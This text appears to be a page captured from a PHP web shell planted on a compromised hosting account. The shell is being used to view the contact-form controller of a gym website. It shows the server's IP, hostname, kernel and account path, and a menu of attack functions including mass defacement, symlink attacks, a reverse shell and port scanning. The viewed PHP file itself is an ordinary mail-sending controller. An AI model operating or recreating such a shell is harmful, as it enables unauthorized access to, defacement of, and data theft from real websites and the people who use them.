Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Controllers
/
Viewing: ContactController.php
<?php namespace App\Controllers; use App\Config\PHPMailerService; use App\Controllers\BaseController; use App\Models\CompanyModel; class ContactController extends BaseController { public function send() { $post = $this->request->getPost(); $validationRules = [ 'first_name' => 'required|min_length[2]|max_length[50]', 'email' => 'required|valid_email', 'message' => 'required|min_length[10]' ]; $validationMessages = [ 'first_name' => [ 'required' => 'El campo Nombre es obligatorio.', 'min_length' => 'El campo Nombre debe tener al menos 2 caracteres.', 'max_length' => 'El campo Nombre no puede tener más de 50 caracteres.' ], 'email' => [ 'required' => 'El campo Correo Electrónico es obligatorio.', 'valid_email' => 'El campo Correo Electrónico debe contener una dirección de correo electrónico válida.' ], 'message' => [ 'required' => 'El campo Mensaje es obligatorio.', 'min_length' => 'El campo Mensaje debe tener al menos 10 caracteres.' ] ]; if (!$this->validate($validationRules, $validationMessages)) { return $this->response->setJSON([ 'status' => 'validation', 'errors' => $this->validator->getErrors() ]); } $companyModel = new CompanyModel(); $company = $companyModel->first(); $data = [ 'company' => $company, 'first_name' => $post['first_name'], 'email' => $post['email'], 'message' => $post['message'] ]; $message = view('email_template', $data); $to = $post['email']; $toNombre = $company['name']; $subject = 'Nuevo mensaje de contacto'; $destinoCorreo = $company['email']; $destinonombre = 'Contacto'; $result = PHPMailerService::sendMail($to, $toNombre, $subject, $message, $destinoCorreo, $destinonombre); if ($result) { return $this->response->setJSON([ 'status' => 'success', 'message' => '¡Correo enviado correctamente!' ]); } else { return $this->response->setJSON([ 'status' => 'error', 'message' => 'No se pudo enviar el correo, inténtalo más tarde.' ]); } } }
Coded With 💗 by
0x6ick